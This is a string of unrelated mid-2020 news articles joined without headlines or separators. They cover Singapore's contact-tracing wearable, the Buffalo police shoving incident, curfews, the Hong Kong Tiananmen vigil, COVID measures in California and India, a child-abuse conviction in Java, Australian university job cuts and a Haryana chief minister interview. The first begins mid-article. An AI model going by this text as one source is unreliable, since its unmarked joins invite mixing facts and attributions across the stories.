While officials didnt specify what prompted the plan, it comes after Singapores contact tracing app, TraceTogether, fell flat. While 1.4 million people have downloaded the app, development minister Lawrence Wong told the SCMP that 75 percent of the population needs to use it to be effective. Although the government has stressed that it keeps data encrypted, stores it on-device and wont ask for it unless someone is infected, objectors have worried about other privacy issues (such as the potential for a breach), the battery drain from constant proximity checking and a lack of background scanning on iPhones. Singapore has declined to use Apple and Google technology that shouldnt have that problem.

The plan for a wearable may exacerbate privacy concerns, however. University College London lecturer Michael Veal told Reuters that it might not be clear what the devices are doing, or what information is involved. While Singapore likely wouldnt be tracking residents locations, itd still be asking an entire city to wear connected devices for an unspecified amount of time  thats going to raise fears of data misuse no matter how careful officials may be.
A disturbing video of a 75-year-old man being shoved and injured by Buffalo police personnel wearing riot gear has emerged from Niagara Square in New York, United States.

The video, captured by Buffalo radio channel WBFO and later shared by CBS reporter David Begnaud, shows the old man approaching and attempting to talk to Buffalo police personnel. He is consequently pushed by two police officers after which he falls, hitting and injuring his head on the pavement. Blood can be seen coming from the back of his head as he lies motionless. The officers did not stop to render aid to the bleeding man.

Here is the video of the incident, which took place on Thursday evening:

Just about an hour ago, police officers shove man in Niagara Square to the ground (WARNING: Graphic). Video from: @MikeDesmondWBFO pic.twitter.com/JBKQLvzfET WBFO (@WBFO) June 5, 2020

The two officers have now been suspended without pay, Begnaud reported the Buffalo police commissioner as stating.

JUST IN: Buffalo Mayor is deeply disturbed by the actions of the 2 cops who shoved a 75yo man. He fell backwards, hit his head, and started bleeding. He is in serious but stable condition at a local hospital. The officers have been suspended WITHOUT pay pic.twitter.com/qbTvXAAPLH David Begnaud (@DavidBegnaud) June 5, 2020

New Yorks Attorney General Letitia James had taken cognizance of the incident, tweeting that she was aware of the situation. Begnaud reports that the injured man is now in a serious but stable condition.

New York Governor Andrew Cuomo called the incident "wholly unjustified and utterly disgraceful." He said he had spoken with Buffalo Mayor Byron Brown, and that they agreed for the officers involved to be suspended pending a formal investigation.

This incident is wholly unjustified and utterly disgraceful.I've spoken with Buffalo @MayorByronBrown and we agree that the officers involved should be immediately suspended pending a formal investigation.Police Officers must enforce  NOT ABUSE  the law. https://t.co/EYIbTlXnPt Andrew Cuomo (@NYGovCuomo) June 5, 2020

"Police officers must enforce, not abuse, the law," he tweeted.

Buffalo Mayor Byron Brown said he was deeply disturbed by the actions of the two police personnel, Begnaud reports.

People were protesting George Floyd's death at the Niagara Square on Thursday night.

In another similar incident, a Salt Lake police officer was caught on camera pushing an old man walking with a cane, ABC reports. He has thus been removed from patrol duties, the mayor's office stated.
Police arrest a protester on suspicion of a curfew violation at Sunset and Cahuenga boulevards in Hollywood on Monday. (Gary Coronado / Los Angeles Times)

At the end of his shift at a Home Depot warehouse in Joliet, Ill., Elgin Hodges drove home about 1:30 a.m. Tuesday, splashes of blue and red light from police cars illuminating his way.

Joliets mayor had declared a state of emergency and imposed a curfew from 8 p.m. to 6 a.m. in response to unrest that broke out over the death of George Floyd.

Hodges checked that he was obeying the speed limit, scanned the street and shadowy parking lots for officers and nervously adjusted the paperwork he keeps on the dashboard detailing his status as an essential worker during the pandemic.

In recent days, many workers in cities with curfews have struggled to make their early-morning shifts or get home late at night. They've had to contend with public transportation shutdowns, suspensions of service by ride-hailing companies and police blocking off roads and exits.

Some employees saw their wages cut as businesses shortened hours in response. Others were forced to forgo wages as they called off shifts in the face of travel impediments or safety worries, or left early to be able to get home before the start of curfew.

Hodges, who is black, worried the curfew would make him a target for police harassment.

Growing up Ive been taught to keep my head on a swivel. But now Ive been working double time to ensure my safety, he said.

Many cities and counties have relaxed or lifted their curfews, including Los Angeles, where the Sheriff's Department said Thursday it would not impose restrictions, although it said individual cities were free to maintain their own.

In Joliet, where Hodges lives, the curfew, pushed back to 10 p.m., remained in place as of Thursday night. Every night since the curfew went into effect Monday, Hodges has taken backstreets to avoid the main streets crowded with police, adding about 10 minutes to his usual 20-minute commute.

Black people and Latinos fill jobs that operate outside the standard 9-to-5 hours at higher rates than workers from other demographics. Experts expressed concern that curfew enforcement disproportionately affects black people and other marginalized communities.

Story continues

Additional scrutiny from law enforcement during protests on top of pandemic restrictions serve as a "double whammy" for people of color, said Brenda Munoz, deputy chair of UC Berkeleys Center for Labor Research and Education.

Even for those workers deemed essential and exempt from enforcement, people are afraid to be out during curfews due to fear of police brutality, given the most recent killings, Munoz said.

L.A. officials eased restrictions a day after the American Civil Liberties Union and Black Lives Matter filed suit against the city and county and the city of San Bernardino to end the curfews, calling them an extraordinary suppression of political protest that plainly violated 1st Amendment rights and curtailed necessary freedom of movement.

Kimberly Beltran Villalobos, a plaintiff in the suit, was cited for violating curfew after she went to pick up her mother from her workplace in East Los Angeles about 11 p.m. Monday. She was also cited May 30 while participating in a protest over the death of George Floyd.

Still, in cities across the country, curfews linger, as does the prospect they could return in force elsewhere in response to resurgent weekend protests.

In New York City, where Mayor Bill de Blasio extended an 8 p.m.-to-5-a.m. curfew through Sunday, Taylor Shubert was stopped by police around midnight Wednesday at the exit he usually takes on his way home from Metropolitan Hospital in Manhattan, where he works as administrative support staff.

"I'm an essential worker, I've been told that I can get home, Shubert told police. The officer at Shuberts window refused to let him pass, and told him to take a different route.

Over a loudspeaker another officer said, "How about take that bumper sticker off his car too, according to a video of the encounter Shubert recorded. Shubert has stickers indicating support for former Democratic presidential candidates Elizabeth Warren and Amy Klobuchar on the back of his car.

At the bridge, Shubert was stopped by police again. He took another detour. The third time he was stopped, he begged an officer to let him go home for several minutes before he was allowed through.

It took Shubert two hours to drive to his home in Inwood, where he finally hopped into bed around 3:30 a.m., he said. His six-mile commute usually takes 25 minutes.

They disagreed with my politics and wanted to antagonize me, Shubert said. Were essential workers fighting a pandemic. I dont know how not letting hospital workers go home makes my neighborhood safer.

For lower-income workers, who rely more heavily on public transportation, the cost of curfews can be measured in dollars and cents, said Erica Groshen, a faculty member at Cornell Universitys School of Industrial and Labor Relations and former commissioner of the U.S. Bureau of Labor Statistics.

At Martin Luther King Jr. Community Hospital in Willowbrook, a neighborhood in South L.A., Sofia Cuevas said her co-workers at the hospital's cafe, where she works as a barista, have had to forgo wages and leave work hours early in order to catch the train before curfew starts.

Cuevas, 25, said she has a car, so she hasn't had as much trouble completing her shifts this week, which end at 9:30 most nights. By that time, the staff she sees left at the hospital are the doctors and nurses on night shifts, and the janitors and custodians who clean the rooms of patients.

"Being a Latina, I worry about getting pulled over because you never know what could happen, Cuevas said. I have fair skin, so I might be OK, but I don't want to risk it.

Darren Tree Wallace, who is on the cleaning staff at Kaiser Permanente, a hospital on Sunset Boulevard, worries the red rectangular sticker on the back of his badge designating him an essential worker offers thin protection.

Wallace, who is black, moved into temporary lodgings  a hotel room a five-minute drive to the facility  on Monday because of concerns about safety.

The policy allocating hotel rooms for workers was originally negotiated by Service Employees International Union-United Healthcare Workers West for staff who test positive with the coronavirus or are working overtime because of the pandemic.

When law enforcement is given discretion in applying the law, people from stereotyped groups, particularly those who are black, are going to suffer discrimination, said Jody David Armour, a professor at the USC Gould School of Law studying racial profiling and use of excessive force by police.

That is one of the points the protest is driving home, he said.

When crafting policy, Armour said, even rules around the most low-level, nonviolent offenses, lawmakers should ask, Am I willing to live with the possibility that somebody may die when this policy is enforced?

Times staff writers Johana Bhuiyan and Samantha Masunaga contributed to this report.




On Twitter, they urged people not to gather in groups because of the coronavirus. After the vigil ended in Victoria Park, groups of protesters dressed in black carried flags that said, "Liberate Hong Kong, Revolution of our times" as well as "Hong Kong Independence." Participants take part in a memorial vigil in a Mongkok in Hong Kong, China. Credit:Getty Hundreds and possibly thousands of people were killed when tanks and troops moved in on Tiananmen Square the night of June 3-4, 1989, to break up weeks of student-led protests that had spread to other cities and were seen as a threat to Communist Party rule. A Chinese Foreign Ministry spokesperson offered the government's standard defence of the 1989 crackdown.

"The Chinese government has made a clear conclusion about the political disturbance that occurred in the late 1980s," Zhao Lijian said. "The great achievements that we have achieved ... have fully demonstrated that the development path China has chosen is completely correct, which conforms to China's national conditions and has won the sincere support of the Chinese people." Tiananmen Square in 1989. Credit:AAP-CTS On Thursday, the square where thousands of students had gathered in 1989 was quiet and largely empty. Police and armoured vehicles stood guard on the vast space. Few pedestrians lined up at security checkpoints, where they had to show IDs to be allowed through as part of nationwide mass surveillance to prevent any commemoration of the event. As has become customary, many dissidents were placed under house arrest and their communications with the outside world cut off, according to rights groups.

Loading "We all know the Hong Kong government and the Chinese government really don't want to see the candle lights in Victoria Park," said Wu'er Kaixi, a former student leader who was No. 2 on the government's most-wanted list following the Tiananmen Square crackdown. "The Chinese Communists want us all to forget about what happened 31 years ago," he told The Associated Press in Taiwan, where he lives. "But it is the Chinese government themselves reminding the whole world that they are the same government ... doing the same in Hong Kong." China did not intervene directly in last year's protests, despite speculation it might deploy troops, but backed the tough response of the Hong Kong police and government. Thousands were arrested in the demonstrations, which were sparked by now-abandoned legislation that could have allowed suspects to be sent to mainland China for trial. The cancellation of the vigil came amid a tightening of Beijing's grip over Hong Kong. China's ceremonial legislature last month ratified a decision to impose national security laws on Hong Kong, circumventing the city's legislature and shocking many of its 7.5 million residents.

The approval of the national anthem bill, viewed as an infringement on freedom of expression, followed the recent arrest of 15 veteran activists on charges of organising and taking part in last year's demonstrations. The moves are seen as part of a steady erosion of rights that Hong Kong was guaranteed when it was handed over from British to Chinese rule in 1997. "The ban comes amid an alarming acceleration of attacks on the autonomy of Hong Kong and the undermining of the rights and freedoms of the Hong Kong people guaranteed under Hong Kong and international law," Sharon Hom, executive director of Human Rights in China, said in a statement. About 15 members of the Hong Kong Alliance in Support of Patriotic and Democratic Movements of China, the group that organizes the annual vigil, gathered at Victoria Park at 6.30pm, local time. They wore black shirts with the Chinese characters for "truth" emblazoned on the front. The activists lit candles and urged the public to do the same later to mourn victims of the massacre and show their support for the democratic cause in China.

Alliance Chairman Lee Cheuk-yan then led the group of about 15 members in a candlelit procession around the perimeter of the park, shouting slogans including, "Stand with Hong Kong." "We have been doing this for 30 years, we have the right to do this, this is a peaceful procession," he said, stating that it would be absurd if this behaviour is criminalised. The group later removed one of the barricades surrounding the park, and entered. Eventually, thousands followed. Lee said that the danger in the national security law is that Beijing will define what is a crime. "If we commemorate June 4th, condemn the massacre, (call for the) end of one-party rule, will this be labelled as subversion? We don't know," he said. Other vigils, virtual and otherwise, were held elsewhere, including in Taiwan, the self-ruled island democracy whose government called again this year for Beijing to own up to the facts of the crackdown.
Gov. Gavin Newsom said California should prepare for a surge in its coronavirus positive test rate after a week of protests against police brutality.

If youre not (concerned), youre not paying attention to the epidemiology, to the virulence of this disease, Newsom said during a visit Thursday to Stockton, where he met with Mayor Michael Tubbs and business owners to discuss racism.

Newsom added that hes concerned about the virus disproportionate impact on Californias black community, which accounts for nearly 5% of all positive cases but 10% of virus-related deaths.

Mark Ghaly, secretary of the California Health and Human Services agency, said the effects of the protest on the spread of the virus will not be known for weeks. He emphasized the importance of the freedom and liberty to protest, but said, it does create infectious disease concern that we werent contending with before.

Newsom said the states positive test rate has held steady around 4.5%, but warned that number will most likely rise with the protest and the reopening of businesses that is under way. He said he wanted to make sure health care facilities are ready.

I think everyone in public health is concerned, San Francisco Health Officer Dr. Tomas Aragon said of the protests. We know that being outdoors is definitely much better than being indoors. The risk depends on how many people in the crowd are carrying the coronavirus. If very few people are carrying, youre probably going to be fine. But we dont know, and thats the problem.

Newsoms comments came amid some good news for the Bay Area: The number of people hospitalized with COVID-19 in the region fell to 229 Wednesday, its lowest point since March, according to state data analyzed by The Chronicle. The previous low was 230, reported on May 17. The number of people in the intensive care unit  82 across the nine-county Bay Area  was also at its lowest point since March.

Statewide, more than 122,000 people have tested positive for the coronavirus in California, with more than 2,700 new cases recorded Thursday, according to The Chronicles coronavirus tracker. California has the seventh-highest number of coronavirus cases nationwide.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

Despite concerns that protesters could become ill, the state has no plans to slow its reopening efforts, and Newsom has expressed understanding of peaceful protests. Earlier this week, he said that the nation has ignored racism and African Americans concerns for generations, and that the demonstrations emerged from a society thats about dominance and aggression.

People have lost patience because they havent seen progress, he said.

Aidin Vaziri is a San Francisco Chronicle staff writer. Email: avaziri@sfchronicle.com
An Australian restaurant worker has been found guilty of sexually abusing a 14-year-old Indonesian boy on the island of Java.

Darwin man Dustin Linklater, 40, paid the boy $11 to abuse him orally up to five times in the Javanese village of Bubuk in August last year.

Linklater was found guilty of committing 'obscene acts' with a minor of the same sex at Banyuwangi State Court in east Java on Thursday, according to NT News.

He faced a maximum penalty of 15 years behind bars but was sentenced to seven years in jail to be reduced by the 10 months he has already spent in custody.

Darwin man Dustin Linklater, 40, paid 14-year-old Indonesian boy $11 to abuse him orally up to five times in the Javanese village of Bubuk in August last year (stock image)

Linklater is from Wagaman in the northern suburbs of Darwin and often holidayed on the Indonesian islands of Bali and Java.

He rented a house in Bubuk village in Java in February last year.

In August, he met the 14-year-old at a nearby water park and invited him back to his house, where he showed the boy pornographic videos.

He then proceeded to sexually assault the boy, who later went home and told his parents about what had happened.

The parents reported the sexual assault to police. The boy suffered significant swelling to his internal organs, according to a medical examination.

Linklater was arrested in August last year and his trial began earlier this year.

Strong drugs, lubricant oil, 30 condoms, bedsheets, pillows and mobile phones were used as evidence by police in the trial.

Bubuk village in East Java, Indonesia. Linklater began renting a house in Bubuk in February last year and sexually abused boy there in August after meeting him at a nearby water park

During his sentencing on Thursday, Chief judge Nova Flory Bunda found the NT man guilty.

'The defendant's actions have damaged the child's future,' Ms Bunda said, according to NT News.

'The defendant Dustin Linklater has been legitimately and convincingly proven guilty of committing a crime. The defendant committed tricks, carried out a series of lies and persuaded a child to commit obscene acts as regulated in article 82 paragraph 1 and article 76E of the Indonesia Child Protection Law.'

The articles aim to protect children from being persuaded to commit obscene acts or for adults to commit obscene acts with minors of the same sex.

Bubuk is located in East Java, which is west of Bali. Linklater is from Wagaman in the northern suburbs of Darwin and often holidayed on the Indonesian islands of Bali and Java

Linklater was sentenced to seven years jail to be reduced by 10 months already spent in custody.

He was also fined IDR 20 million ($2,100) and could have six months added to his sentence if he does not pay.

The Darwin man denies committing the crime and his lawyer Mochamad Zaeni will appeal the verdict.

'Our client denies committing the crime. The results of the examination also stated there were no signs of sexual violence in the anus of the victim but the prosecutor still used the examination as evidence at the trial. The verdict does not give a sense of justice for my client,' Mr Zaeni said.
Representative Image

Several officials of the Ministry of Health and Family Welfare (MoH&FW) have tested positive for coronavirus. The Ministry will keep its premises and office of the Directorate General of Health Services shut on June 6 and 7 for sanitisation.

A memorandum issued by the Ministry said except the emergency COVID-19 team, no one else will be permitted in the premises for these two days. Issuance of visitor passes is also halted, the Hindu BusinessLine reported.

Visitors on the premises with permission from the officer they are meeting will be properly screened and social distancing will have to be maintained at all times in the office, the memorandum stated.

Follow our LIVE Updates on the coronavirus pandemic here

The Ministry has also listed 40 rules to be followed, including  no spitting, ban on receiving physical files, practise of respiratory hygiene i.e. cover coughs and sneezes, stopping use of air conditioners, and gathering of more than five people at any spot in the office, among others.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

The rule to limit a gathering to five persons could impact Union Health Minister Harsh Vardhans video conferences, usually held with state representatives and media persons  numbering more than five, it noted.

To maintain proper social distancing, group lunches have been banned and the Ministry has directed that desks be arranged in a zigzag pattern so that employees are not sitting directly across each other. Those still awaiting test results have been asked to skip office until results are out.

Apart from this, all internal meetings have been shifted to video format, drivers from containment zones have been barred, wearing of masks inside the office is mandatory, it added. Loitering and crowding would also be considered as flouting of social distancing norms, as per the notice.

In India, total confirmed cases crossed 2 lakh standing at 216,919, and 6,075 deaths reported, according to the Health Ministry's latest update. Globally, over 66.3 lakh infections and nearly 4 lakh deaths have been reported, according to data from Johns Hopkins University.
President Moon Jae-in plays with his pet dog Maru at his private residence in Yangsan, South Gyeongsang Province, on his day off in May 2017. Courtesy of Cheong Wa Dae



By Kim Rahn



President Moon Jae-in is expected to spend his retirement in Yangsan, South Gyeongsang Province, near his current private residence.



According to the Yangsan city government, Friday, Moon bought a two-story house and surrounding land jointly with first lady Kim Jung-sook in April. The couple and the Presidential Security Service (PSS) purchased more land around the house jointly, with the PSS buying some more land nearby. Moon paid 1 billion won ($822,000) at his own expense, Cheong Wa Dae said.



On the land, which covers 3,800 square meters, his new house as well as a guard office and an accommodation for guards will be built, with the latter facilities being established according to the law on former presidents. Moon's term will end in May 2022.



The area is about 10 minutes on foot from Tongdo Temple, one of the tourist attractions that has been added to the UNESCO World Heritage list. It is convenient for transportation, with the Seoul-Busan expressway and Ulsan Station for a high-speed KTX nearby.





President Moon Jae-in looks at a reservoir behind his private residence in Yangsan, South Gyeongsang Province, during a stroll on his day off in this September 2018 photo. Courtesy of Cheong Wa Dae
With the federal Liberal-National government adamantly refusing to rescue the countrys public universities from the devastating impact of the global COVID-19 pandemic, managements are unveiling hundreds of job cuts, together with attacks on pay and conditions.

So far, the jobs destroyed include at least 400 at La Trobe University, about 300 at Deakin University, and nearly 300 at Central Queensland University, which plans to close its Sunshine Coast, Yeppoon and Biloela campuses, hitting these regional centres hard.

Threats of unspecified job losses, including forced redundancies, have been issued at Charles Sturt University, Wollongong University, the University of the Sunshine Coast, Swinburne University, the University of Tasmania, the Australian National University and the University of Canberra. At the University of Sydney, the arts faculty will eliminate 8 percent of its units.

Elsewhere, the employers are demanding pay freezes or cuts, on top of the destruction of thousands of casual academic and administrative jobs, either by variations to NTEU enterprise bargaining agreements (EBAs) or by exploiting existing EBA provisions. At the University of Melbourne, the measures include a pay cut of 2.2 percent, reductions in redundancy pay and no limits on involuntary redundancies

Education Minister Dan Tehan reiterated the governments stand on Wednesday, bluntly telling the universities they needed greater focus on domestic students, online education and greater alignment with industry needs.

This means accelerating the pro-business transformation of the universities. They are being told to slash costs, service the training and research needs of the corporate elite and end their reliance on overseas students, especially from China.

The government is also demanding that the universities, like schools, physically reopen, despite the danger of COVID-19 outbreaks in crowded lecture theatres and classrooms. Tehan said the governments priority was the further reopening of campuses for face-to-face learning.

In order to comply with these orders, university managements are exploiting the efforts of the National Tertiary Education Union (NTEU) to stifle university workers outrage and opposition. For two months, throughout April and May, the NTEU suppressed all resistance while it conducted backroom talks with the employers on a national framework to permit pay cuts of up to 15 percent, while still allowing at least 18,000 job losses.

Facing widespread rank-and-file hostility to the agreement, and with the employers losing confidence in the NTEUs capacity to deliver it, the union finally abandoned the deal. Far from being deterred by this historic blow to its credibility, however, the union is now working intensely with individual managements to impose their requirements.

As at Western Sydney University, the NTEU is using anti-democratic methods to shut down debate and push through agreements to cut wages, with no more guarantees against redundancies than in its national framework.

At some universities, such as Monash, La Trobe and the University of Western Australia, the NTEU is still trying to ram through versions of its national sellout, even overriding rejection votes by its own members. At La Trobe, the NTEU backed managements plan for a 10 percent wage cut for at least 12 months, which the vice chancellor said would save 225 jobs but would still result in around 400 redundancies.

On May 27, an NTEU branch meeting at La Trobe voted by 60 percent, 138 to 62, to reject the national framework. Determined to fight all job cuts, including those of casuals, the participants also voted by 74 percent, 110 to 22, to condemn any sacking of casual staff or standing down of staff in relation to COVID-19. They signalled that they would refuse variations to the EBA to overload our teaching or professional responsibilities as a result of work being stripped from casuals.

In an extraordinary exposure of the role of unions, the NTEU refused to accept these outcomes. It claimed the votes were non-binding and called a postal ballot of La Trobes NTEU members, which started on Thursday, in a bid to reverse the rejection of the national agreement.

Under a revised management offer, staff would receive a sliding pay cut, depending on their classification, their annual leave would be reduced to 10 days and they would receive no pay increases until 2022.

To back the unions effort to intimidate staff members into dropping their opposition, vice-chancellor John Dewar this week revealed that the university was negotiating with banks for a loan to cover its debts. As part of these negotiations, the banks are interested to see actions around balancing our books over time, he said.

In other words, the NTEU is working with management to impose the requirements of the banks, as well as the federal government, on the university.

La Trobe workers should vote no to defeat this attack, but that is only the first step. The NTEUs collaboration with the employers is not an aberration. It is part of a wider drive by the unions to enforce cuts to jobs, pay and conditions in partnership with employers across entire industries, such as retail, fast food, hospitality and the clerical sector. In the words of Australian Council of Trade Unions (ACTU) secretary Sally McManus, the unions are giving employers everything you want.

These developments underscore the necessity for the call issued by the Committee for Public Education and the Socialist Equality Party for the formation of rank-and-file committees of tertiary education workers and studentscompletely independent of the pro-management NTEU.

Such committees, democratically elected, are essential to organise a nationwide, unified struggle to defend all jobs and basic rights, protect university staff from unsafe COVID-19 conditions and link up with workers internationally who are facing similar critical struggles against the impact of the worsening global crisis.

La Trobes crisis is typical of the plight of the public universities, which have turned to exploiting full fee-paying international students over the past decade to offset the slashing of billions of dollars in funding by successive federal governments, starting with the Greens-backed Labor government of Julia Gillard.

A quarter of La Trobes 2019 revenue came from overseas students. Some universities depend even more on this revenue: 34 percent at Monash, 36 percent at RMIT and 35 percent at UTS.

Universities Australia this week said universities faced a combined revenue loss of up to $4.8 billion in 2020 and $16 billion by 2023. Even these estimates could be optimistic if the coronavirus pandemic continues to worsen globally.

All the causes of this crisisthe slashing of university funding, the pandemic itself and the profit-driven government responses to the pandemicare products of global capitalism. That is why a socialist perspective, based on the total reorganisation of society in the interests of all, instead of the financial oligarchy, is necessary to fight this historic assault on universities and their workers. All those who want to take forward this struggle should contact the Committee for Public Education.

Email: cfpe.aus@gmail.com

CFPE Facebook: https://www.facebook.com/commforpubliceducation/

Twitter account @CFPE_Australia

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It was a tense week in the Capital Region, marked by a series of peaceful protests and violence incidents, both spurred by the deaths of George Floyd and other black Americans across the country at the hands of police.

By day, tears were shed during the emotional protests in Albany and Schenectady. By night, tear gas was thrown by police to quell violence that erupted on the streets of two Albany neighborhoods.
New Delhi, June 5 : Manohar Lal Khattar is an RSS hand who was handpicked by Prime Minister Modi to lead the first ever BJP government in the state of Haryana after the party swept to power in 2014.

He is into his second term as Chief Minister and represents the Karnal Assembly constituency. Although he retained power in 2019 through an alliance with Dushyant Chautala of the Jannayak Janta Party after a tough fight with Congress' Bhupinder Singh Hooda, Khattar, Haryana's first Punjabi CM, has been in the forefront of the Covid fight in the state which shares borders with Punjab, Rajasthan, Uttar Pradesh and Delhi.

In an extensive conversation with IANS, Khattar said that if the battle against Covid-19 goes on for long, harsh decisions may have to be taken.

He said, "We are handling the arrangement as a trustee of the public. Bitter medicine is necessary to cure the disease, and the sufferings caused by bitter medicine has to be endured. So the decision to stop the cross-border movement was taken by the government. The decision to closely monitor the border with Delhi was necessary to mitigate the disaster." Here are excerpts from the interview:

Q: Despite being close to Delhi, Haryana has succeeded in curbing Covid-19 to some extent as compared to the other states. For this you used a digital platform... how was all this possible? A: The battle against the Covid-19 pandemic is long drawn. It has affected not only Haryana, but the entire country and the world. The fear of the infection spreading remains at all levels. That is why we are prepared for it at every level.

You may recall that on March 22, the Prime Minister had called for a 'Janata Curfew'. We also appealed to the people of the state to stay put in their homes and make the Janata Curfew a success. The only mantra, which was given to us by the Prime Minister, to win this battle was social distancing. We also gave the people of the state a 'Triple S' mantra -- Stay at Home, Social Distancing, Sanitise Yourself.

Amid the growing threat of Covid-19, the Prime Minister also said, "Jaan hai toh Jahan hai" (secure life and the world is secured). Later, his instruction was that we must secure both life and livelihood. His instruction was to take care of life by following the distance of two yards wherever you may be. In this way, we followed the guidelines set by the Prime Minister and the Central government at every step.

During the Covid-19 outbreak, we communicated with the public at all levels and there could have been no means of better communication other than the digital medium during the lockdown period. We have reposed our faith in technology for the last five years. We are happy to have used technology, not only for communication services, but also for fighting the coronavirus.

In my tenure till now, our aim has been to use technology to serve the public. Even before the Covid-19 outbreak, technology was used for services, connected to IT. Online services such as e-Disha Kendra, Saral Centre, Antyodaya Kendra, Common Service Centres opened in the villages benefited the people. In the corona era, we used technology to the hilt.

We have been able to put across the message to the public that during this pandemic and even after, lifestyles will have to change, the use of technology will have to increase.

Along with creating a helpline, to bring all the services under one roof and provide the facilities to meet the needs of the public, a Jan Sahayak app was developed through which all services were provided on a single platform. Haryana has fought the battle of coronavirus better than Delhi or any other state in the country, and we continue the fight.

Q: During the pandemic, constant monitoring was done by your office to maintain the supply of essential goods. For this a large number of volunteers were engaged... how was this possible? A: The team has contributed a lot in the fight against the pandemic. Working as a team, Haryana's condition today is better than the neighbouring states of Delhi,

Rajasthan, Punjab and Uttar Pradesh. Haryana is being discussed across the country. When Covid-19 cases started pouring in from abroad, the state government kept a strict vigil on 13,000 people who came from overseas.

As far as volunteers during the lockdown are concerned, we issued helpline numbers at the state and district levels to help the needy.

We interacted with the people of the state with the motto that this fight concerns every person in the country. In this sequence, we urged the people that if they face any problem regarding Covid-19, they should contact us on the helpline numbers 1075 or 1100 where every kind of relief will be provided by the government.

At the same time, as the Chief Minister of the state, while interacting directly with the people, I urged them to be volunteers in the fight against the pandemic and register themselves as Covid warriors.

We created a website where people requested to be registered as volunteers. As a result, a large number of people enrolled themselves as Covid warriors on different fronts. This included professionals such as doctors, nurses, paramedics and services like home delivery, and norms like social-distancing, public communication, district management, etc.

Government employees, voluntary organisations and a large number of volunteers were included during the lockdown to provide essential goods to the public. In Haryana, every child, citizens, young and old alike, farmers, labourers -- all are fighting the common battle and every citizen is a volunteer in the fight.

Q: Farm labourers have migrated in large numbers to their native places from Haryana during the harvesting season. How are you dealing with this problem? A: Haryana is the primary state of agriculture and industry. In our country, along with agriculture, lakhs of workers are engaged in the industry who come from other states. I have repeatedly said that these workers make an important contribution to the development of Haryana, whether they are engaged in agriculture or in industry. We never tied our province to the borders, but every worker is our brother.

A similar situation occurred this time during the pandemic. When the lockdown was announced, there was time for harvesting and storage of rabi crops across the country and also in Haryana. The farmer works hard round the year and when it was time to bring his crop home, the lockdown occurred, endangering the farmer's livelihood and produce.

Due to the pandemic, lakhs of labourers who came from other states started talking of returning to their homes. Fuelled by rumours that they might die of hunger rather than the pandemic, the migrant labourers felt like going home to save their life.

Q: How did you handle the situation? The challenge before the government was to ensure that the lockdown was followed properly to prevent the spread of the corona infection. The challenge was dual. On the one hand, we asked the landowners and the farmers to work jointly with the local labourers engaged in harvesting and the rest of the farming work because there is no shame in doing one's work.

On the other hand, we assured all the migrant labourers who had come from outside to earn their livelihood in our state that they are safe in Haryana. The government is with them in this hour of disaster. We will go to whatever extent we can to help them out. The government has made adequate arrangements for migrant labourers.

Each district collector was given an amount of Rs 1 crore. Arrangements were made to provide food and necessary facilities to the workers. Care was taken for their health and safety. We also built a large number of relief camps for the migrant workers.

During the last three months, more than 600 shelter homes were run for the labourers.

We also started a portal for migrant labourers, the poor and the needy, where they got registered and the government provided all possible help.

Just as we assured the farmers that they would buy each grain of their crop, in the same vein we told the workers that we would arrange to send each one of them back, and this arrangement would be free.

As long as they stay here, arrangements will be made for their food and shelter, they are like brothers and will not face any discrimination.

At many places, the migrant workers said that while they were in relief camps, they wanted to contribute to the farming work in the neighbouring villages.

The situation today is that the storage of wheat, mustard and other crops has been completed in the state. Industries have also opened up. All the labourers who came from outside the state and had registered themselves on our portal are being sent back home by trains and buses.

Many workers have expressed their desire to come back to Haryana for work. We are glad that no untoward incident of police torture has occurred here.

Q: A control room was set up in the state to listen to the grievances of the people. How effective was it? A: Our priority was to save the life of every person. This required proper compliance of the lockdown for which basic services were restored along with emergency services to get the people what they needed most.

Work was done at different levels which included attending to thousands of calls we received on the helplines daily. Efforts were made by our staff to provide whatever was needed by the people in distress.

Also, through the Jan Sahayak app, an effort was made to ensure that all need-based services were provided on a single platform.

Q: What are your plans for dealing with Covid-19 in Haryana? A: From the very beginning, we tried to implement in an effective way the instructions we received from the Prime Minister and from the Ministry of Home Affairs. At different stages of lockdown, we paid attention to the expansion of health facilities, ensuring that the lockdown was followed properly.

We saw to it that the common man faced least difficulty and whenever there was relaxation, we kept moving the wheel. Today our situation is good. In Haryana, the testing rate is also good, the spread of the infection is low, the number of patients recovering is high and the death rate is also very low. Lockdown 5.0 lasts till June 30.

We follow the guidelines issued by the Centre and take precautions wherever needed. We hope Haryana will soon come out of this pandemic.

Q: Could it be assumed that the bad phase of Covid-19 in Haryana is over and do you see any danger in the future? A: As soon as the news of the corona pandemic surfaced, we strengthened our system, improved health facilities, set up a Covid-dedicated hospitals and increased the rate of investigation. We created awareness among people through various channels and followed the lockdown properly. We got good results for all this. The corona infection rate is lower in Haryana than the other states. We tried our best to downward the trend.

A large number of pilgrims from Nanded were found positive, some in Haryana were also found positive. The number of corona positive people working and visiting Delhi was found to be high. In districts of Haryana such as Gurugram, Jhajjar, Sonipat and Faridabad, there was an increase in the numbers because they had borders with other states.

As said in the beginning, if the battle of Corona goes on for long, harsh decisions will have to be taken. We are handling the arrangement as a trustee for the public. Bitter medicine is necessary to cure the disease, the suffering caused by bitter medicine will have to be endured as the government has decided to stop cross-border movement.

Latest updates on Howdy Modi Houston
